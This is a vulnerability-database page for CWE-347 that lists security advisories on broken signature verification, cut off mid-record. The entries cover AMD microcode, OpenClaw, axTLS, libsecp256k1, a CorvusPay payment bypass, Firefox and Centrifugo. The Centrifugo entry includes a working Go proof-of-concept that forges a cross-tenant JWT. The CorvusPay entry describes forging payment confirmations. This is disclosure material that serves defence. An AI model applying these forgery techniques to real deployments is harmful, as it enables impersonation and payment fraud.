Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1123 vulnerabilities reference this CWE, most recent first.

GHSA-FXG4-QP5Q-79P3

Vulnerability from github – Published: 2025-06-28 00:31 – Updated: 2025-06-28 00:31
VLAI
Details

Improper signature verification in AMD CPU ROM microcode patch loader may allow an attacker with local administrator privilege to load malicious microcode, potentially resulting in loss of integrity of x86 instruction execution, loss of confidentiality and integrity of data in x86 CPU privileged context and compromise of SMM execution environment.

Severity
6.4 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-27T23:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Improper signature verification in AMD CPU ROM microcode patch loader may allow an attacker with local administrator privilege to load malicious microcode, potentially resulting in loss of integrity of x86 instruction execution, loss of confidentiality and integrity of data in x86 CPU privileged context and compromise of SMM execution environment.",
  "id": "GHSA-fxg4-qp5q-79p3",
  "modified": "2025-06-28T00:31:11Z",
  "published": "2025-06-28T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36347"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7033.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G353-MGV3-8PCJ

Vulnerability from github – Published: 2026-03-13 20:55 – Updated: 2026-04-06 22:32
VLAI
Summary
OpenClaw: Feishu webhook mode accepted forged events when only `verificationToken` was configured
Details

Summary

Feishu webhook mode allowed deployments that configured only verificationToken without encryptKey. In that state, forged inbound events could be accepted because the weaker configuration did not provide the required cryptographic verification boundary.

Impact

An unauthenticated network attacker who could reach the webhook endpoint could inject forged Feishu events, impersonate senders, and potentially trigger downstream tool execution subject to the local agent policy.

Affected versions

openclaw <= 2026.3.11

Patch

Fixed in openclaw 2026.3.12. Feishu webhook mode now fails closed unless encryptKey is configured, and the webhook transport rejects missing or invalid signatures before dispatch. Update to 2026.3.12 or later and configure encryptKey for webhook deployments.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:55:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFeishu webhook mode allowed deployments that configured only `verificationToken` without `encryptKey`. In that state, forged inbound events could be accepted because the weaker configuration did not provide the required cryptographic verification boundary.\n\n### Impact\n\nAn unauthenticated network attacker who could reach the webhook endpoint could inject forged Feishu events, impersonate senders, and potentially trigger downstream tool execution subject to the local agent policy.\n\n### Affected versions\n\n`openclaw` `\u003c= 2026.3.11`\n\n### Patch\n\nFixed in `openclaw` `2026.3.12`. Feishu webhook mode now fails closed unless `encryptKey` is configured, and the webhook transport rejects missing or invalid signatures before dispatch. Update to `2026.3.12` or later and configure `encryptKey` for webhook deployments.",
  "id": "GHSA-g353-mgv3-8pcj",
  "modified": "2026-04-06T22:32:29Z",
  "published": "2026-03-13T20:55:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g353-mgv3-8pcj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/44087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/7844bc89a1612800810617c823eb0c76ef945804"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.12"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-forged-event-injection-via-feishu-webhook-verification-token"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Feishu webhook mode accepted forged events when only `verificationToken` was configured"
}

GHSA-G43P-7J43-JPJ7

Vulnerability from github – Published: 2022-05-14 01:48 – Updated: 2022-05-14 01:48
VLAI
Details

In sig_verify() in x509.c in axTLS version 2.1.3 and before, the PKCS#1 v1.5 signature verification does not properly verify the ASN.1 metadata. Consequently, a remote attacker can forge signatures when small public exponents are being used, which could lead to impersonation through fake X.509 certificates. This is an even more permissive variant of CVE-2006-4790 and CVE-2014-1568.

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-16253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-07T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In sig_verify() in x509.c in axTLS version 2.1.3 and before, the PKCS#1 v1.5 signature verification does not properly verify the ASN.1 metadata. Consequently, a remote attacker can forge signatures when small public exponents are being used, which could lead to impersonation through fake X.509 certificates. This is an even more permissive variant of CVE-2006-4790 and CVE-2014-1568.",
  "id": "GHSA-g43p-7j43-jpj7",
  "modified": "2022-05-14T01:48:58Z",
  "published": "2022-05-14T01:48:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16253"
    },
    {
      "type": "WEB",
      "url": "https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/axtls/mailman/message/36459928"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G4VJ-X7V9-H82M

Vulnerability from github – Published: 2021-08-25 20:56 – Updated: 2021-08-18 21:20
VLAI
Summary
Overflow in libsecp256k1
Details

An issue was discovered in the libsecp256k1 crate before 0.5.0 for Rust. It can verify an invalid signature because it allows the R or S parameter to be larger than the curve order, aka an overflow.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "libsecp256k1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-38195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-18T21:20:32Z",
    "nvd_published_at": "2021-08-08T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in the libsecp256k1 crate before 0.5.0 for Rust. It can verify an invalid signature because it allows the R or S parameter to be larger than the curve order, aka an overflow.",
  "id": "GHSA-g4vj-x7v9-h82m",
  "modified": "2021-08-18T21:20:32Z",
  "published": "2021-08-25T20:56:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/paritytech/libsecp256k1/pull/67"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paritytech/libsecp256k1"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0076.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Overflow in libsecp256k1"
}

GHSA-G5M6-F674-9758

Vulnerability from github – Published: 2026-07-09 12:30 – Updated: 2026-07-09 12:30
VLAI
Details

The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Payment Bypass via Improper Verification of Cryptographic Signature in all versions up to, and including, 2.7.4. The corvuspay_success_handler function registers the REST endpoint POST /wp-json/corvuspay/success/ with 'permission_callback' => '__return_true', and while it calls $this->client->validate->signature() and stores the boolean result in $res, the result is never evaluated in a conditional — it is only written to the debug log — causing execution to unconditionally reach $order->payment_complete() regardless of whether the cryptographic signature is valid. This makes it possible for unauthenticated attackers to mark any pending WooCommerce order as fully paid by sending a POST request to the success endpoint containing an arbitrary or forged signature value, allowing them to obtain goods or services without payment. Because WooCommerce order IDs are sequential integers, target orders are trivially enumerable via the order_number POST parameter, requiring no prior knowledge of the victim order.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T11:16:42Z",
    "severity": "MODERATE"
  },
  "details": "The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Payment Bypass via Improper Verification of Cryptographic Signature in all versions up to, and including, 2.7.4. The `corvuspay_success_handler` function registers the REST endpoint `POST /wp-json/corvuspay/success/` with `\u0027permission_callback\u0027 =\u003e \u0027__return_true\u0027`, and while it calls `$this-\u003eclient-\u003evalidate-\u003esignature()` and stores the boolean result in `$res`, the result is never evaluated in a conditional \u2014 it is only written to the debug log \u2014 causing execution to unconditionally reach `$order-\u003epayment_complete()` regardless of whether the cryptographic signature is valid. This makes it possible for unauthenticated attackers to mark any pending WooCommerce order as fully paid by sending a POST request to the success endpoint containing an arbitrary or forged signature value, allowing them to obtain goods or services without payment. Because WooCommerce order IDs are sequential integers, target orders are trivially enumerable via the `order_number` POST parameter, requiring no prior knowledge of the victim order.",
  "id": "GHSA-g5m6-f674-9758",
  "modified": "2026-07-09T12:30:29Z",
  "published": "2026-07-09T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9027"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.2/includes/class-wc-gateway-corvuspay.php#L202"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.2/includes/class-wc-gateway-corvuspay.php#L656"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.2/includes/class-wc-order-corvuspay.php#L188"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.4/includes/class-wc-gateway-corvuspay.php#L202"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.4/includes/class-wc-gateway-corvuspay.php#L656"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/corvuspay-woocommerce-integration/tags/2.7.4/includes/class-wc-order-corvuspay.php#L188"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3576949%40corvuspay-woocommerce-integration\u0026new=3576949%40corvuspay-woocommerce-integration"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3bc9f344-b605-4257-8d77-e073f85fe344?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5WV-CVF4-2R98

Vulnerability from github – Published: 2024-11-26 15:31 – Updated: 2025-11-04 00:32
VLAI
Details

The application failed to account for exceptions thrown by the loadManifestFromFile method during add-on signature verification. This flaw, triggered by an invalid or unsupported extension manifest, could have caused runtime errors that disrupted the signature validation process. As a result, the enforcement of signature validation for unrelated add-ons may have been bypassed. Signature validation in this context is used to ensure that third-party applications on the user's computer have not tampered with the user's extensions, limiting the impact of this issue. This vulnerability affects Firefox < 133, Firefox ESR < 128.5, Thunderbird < 133, and Thunderbird < 128.5.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T14:15:19Z",
    "severity": "MODERATE"
  },
  "details": "The application failed to account for exceptions thrown by the `loadManifestFromFile` method during add-on signature verification. This flaw, triggered by an invalid or unsupported extension manifest, could have caused runtime errors that disrupted the signature validation process. As a result, the enforcement of signature validation for unrelated add-ons may have been bypassed.  Signature validation in this context is used to ensure that third-party applications on the user\u0027s computer have not tampered with the user\u0027s extensions, limiting the impact of this issue. This vulnerability affects Firefox \u003c 133, Firefox ESR \u003c 128.5, Thunderbird \u003c 133, and Thunderbird \u003c 128.5.",
  "id": "GHSA-g5wv-cvf4-2r98",
  "modified": "2025-11-04T00:32:08Z",
  "published": "2024-11-26T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11696"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1929600"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-63"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-64"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-67"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-68"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6VG-WJ8F-48CJ

Vulnerability from github – Published: 2026-07-01 20:28 – Updated: 2026-07-01 20:28
VLAI
Summary
Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass
Details

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

  • client.token.jwks_public_endpoint
  • client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

  • Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
  • Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
  • Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

  • VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
  • VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID

    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }

    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }

    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}

func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?P<tenant>tenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

package jwtverify

import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"

    "github.com/centrifugal/centrifugo/v6/internal/config"

    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)

func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}

func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}

func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok      github.com/centrifugal/centrifugo/v6/internal/jwtverify 0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

  1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
  2. A forged tenant-B token signed by tenant A fails with a fresh verifier.
  3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
  4. The forged tenant-B token signed by tenant A then succeeds with user ID victim.
  5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

  • Authentication as a user in another issuer/tenant namespace.
  • Unauthorized connection-token acceptance.
  • Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
  • Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.

Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

  • TTL cache lookup.
  • TTL cache storage.
  • singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.8.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:28:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nCentrifugo\u0027s dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.\n\nIn a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A\u0027s key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.\n\n#### Details\n\nThe vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:\n\n- `client.token.jwks_public_endpoint`\n- `client.subscription_token.jwks_public_endpoint`\n\nRelevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.\n\nExternal clients control JWT connection and subscription tokens:\n\n- Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.\n- Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.\n- Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.\n\nThe verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:\n\n- `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.\n- `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.\n\nThe problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:\n\n```go\nfunc (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {\n    kid := token.Header().KeyID\n\n    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)\n```\n\n`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:\n\n```go\nfunc (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    if kid == \"\" {\n        return nil, ErrKeyIDNotProvided\n    }\n\n    if m.useCache {\n        key, err := 